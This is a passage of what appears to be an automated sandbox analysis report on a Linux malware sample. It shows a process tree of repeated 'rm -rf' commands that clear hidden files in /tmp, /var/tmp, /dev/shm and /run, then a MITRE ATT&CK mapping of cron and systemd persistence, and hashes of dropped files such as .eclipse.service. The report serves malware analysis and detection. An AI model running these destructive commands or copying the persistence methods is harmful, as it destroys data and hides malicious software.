    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1005
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1006
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1007
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1010
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1011
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1012
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1013
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1014
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1015
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1016
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1017
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1018
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1019
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1020
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1021
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1022
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1023
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1024
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1025
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1028
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1029
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1030
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1031
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1032
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1033
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1034
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1035
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1036
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1037
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1038
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1039
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1040
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1041
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1042
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1043
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1046
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1047
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1048
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1049
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1050
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1051
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1052
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1053
- /bin/sh
  /bin/sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  - Command and Scripting Interpreter: Unix Shell
  PID:1054
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1055
- /bin/sh
  /bin/sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1056
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1057
- /bin/sh
  /bin/sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1058
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1059
- /bin/sh
  /bin/sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1060
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1061

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.eclipse.service

Path /etc/systemd/system/.eclipse.service
Size 175B
SHA256 4f14b722591577aac6a2f7c7181d780cf468d13aae57e629b434b54fa8e54a51
MD5 ce8d2cd64f9c282d532a26c2e37f74f0
SHA1 fc34fe022e716204b46e274e3a4fc1c6993019d0
SHA512 7f5331b0a0534ac756b5ba0e2d5b7931e4d8db9af14a50ad2ccca2bc879ccb69ebab759c3fc4f965f37135265e958c2d0a9935bbd7329641600818779e36c94e
TLSH
T1AFC0C033270120E1CC4F35F19F637B000C100140018EF0300BD0102848F36429032DB9
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/.e
Size 460KB
SHA256 08809c9882e4e1137b2827a7431aaad833278fa186687ab737f8575b14c5d5b5
MD5 bfeb5e703db2cd87ed54d0ea31a806c5
SHA1 f088ffc728b48d3726434ccf92b6539ee01c0c30
SHA512 eeee2babc73a7ec45c486e66d709b8968a1a99a542113bd3a7aed0981a722f04ed5da3a9a5502ce5f59f8cd4898246aada40c49b31f2c75c7b8562e7facd673e
SSDEEP 12288:VnSZINd2N8Lfs6vApWaSvNYU6NejfsauLymuFwmc4rYU:MZINjfBVm3d
TLSH
T17FA42966E8419B51D5D12ABFFF6E824973131B78F3EE72119D195F3063CB88A0E3A502
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.Z7QqIr

Path /var/spool/cron/crontabs/tmp.Z7QqIr
Size 175B
SHA256 3f86e4b12ebb46efe218c5ccc538b952791e36d9b6e777e65bcaa46f1f242b7c
MD5 e75a51f9c5df29aa69a76d0cd25783ce
SHA1 5af80d119357e4f3538bd3da5a62c3c1f7b84cc0
SHA512 8081ff1030bba3e1c2ca641ce763d5bf73f2c8531b0e7a8a77b2f3b34823a207e750dd7ff3eccbaae4824dd1667b662cc2cb004d026b513be7c88655b32d88ad
TLSH
T1DAC0C05C3F00253029000785206A04195D41D07CC10DEF10D0CC0008030264C3B40532
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads